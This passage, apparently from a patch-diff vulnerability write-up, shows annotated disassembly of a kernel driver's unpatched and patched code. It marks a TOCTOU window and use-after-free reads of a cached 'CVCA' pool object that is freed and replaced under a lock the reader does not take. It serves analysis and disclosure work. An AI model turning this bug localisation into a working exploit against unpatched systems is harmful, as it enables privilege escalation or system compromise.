&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e5b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039fb2&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; (patched: cmp [rcx+0xd4],ebp ; jbe ...)&lt;/span&gt;

&lt;span class="c1"&gt;; ---- VULNERABLE: unlocked read ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e61:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c002f518&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- TOCTOU window start&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e68:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e6b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e6e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039ee7&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; cache miss -&amp;gt; alloc path&lt;/span&gt;

&lt;span class="c1"&gt;; ---- VULNERABLE: deref without lock ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e70:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- UAF #1: cached-&amp;gt;length&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e73:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e75:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039ebe&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e77:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- UAF #2: cached-&amp;gt;data_ptr&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e7b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e7e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e85:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0008940&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; memcmp (sub_1c0008940)(dst, src, len)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Unpatched — concurrent free + replace path (lock held here)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ---- allocate new 0x28-byte CVCA object ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039ee7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x28&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; size&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039eec:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x41435643&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; &amp;#39;CVCA&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039ef2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx-0x27&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; PoolType = 1 (PagedPool)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039ef5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0032608&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f01:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rdi = new alloc&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f2e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; len&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f35:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; source inline data&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f3c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; new object&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f3f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0028308&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; copy-init helper&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f44:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f46:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f48:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039f54&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; success -&amp;gt; swap&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f4a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f4d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0027c28&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; free on copy failure&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f52:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039fb2&lt;/span&gt;

&lt;span class="c1"&gt;; ---- free + swap under ERESOURCE exclusive ----&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f54:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c002f530&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; ERESOURCE global&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f5b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0032568&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; KeEnterCriticalRegion&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f67:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f6a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f6c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00322c8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; ExAcquireResourceExclusiveLite&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f78:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c002f518&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; read old pointer&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f7f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f82:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039f89&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f84:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0027c28&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- ExFreePoolWithTag(old)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f89:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c002f530&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f90:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c002f518&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; EncryptionManager (data_1c002f518) = new alloc&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f97:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039f9a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00322e8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; ExReleaseResourceLite&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039fa6:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0032560&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; KeLeaveCriticalRegion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched — same block wrapped in lock&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e53:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; ebp=0; len == 0 ?&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e59:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jbe&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039fd2&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; skip only when len == 0 (same as unpatched test/jz)&lt;/span&gt;

&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e5f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; SigningLock (data_1c002f560)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e69:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0027d70&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- ACQUIRE SHARED (RWLock::AcquireShared)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e6e:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;EncryptionManager&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; read global UNDER LOCK (data_1c002f0c0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e75:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e78:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;je&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039ef2&lt;/span&gt;
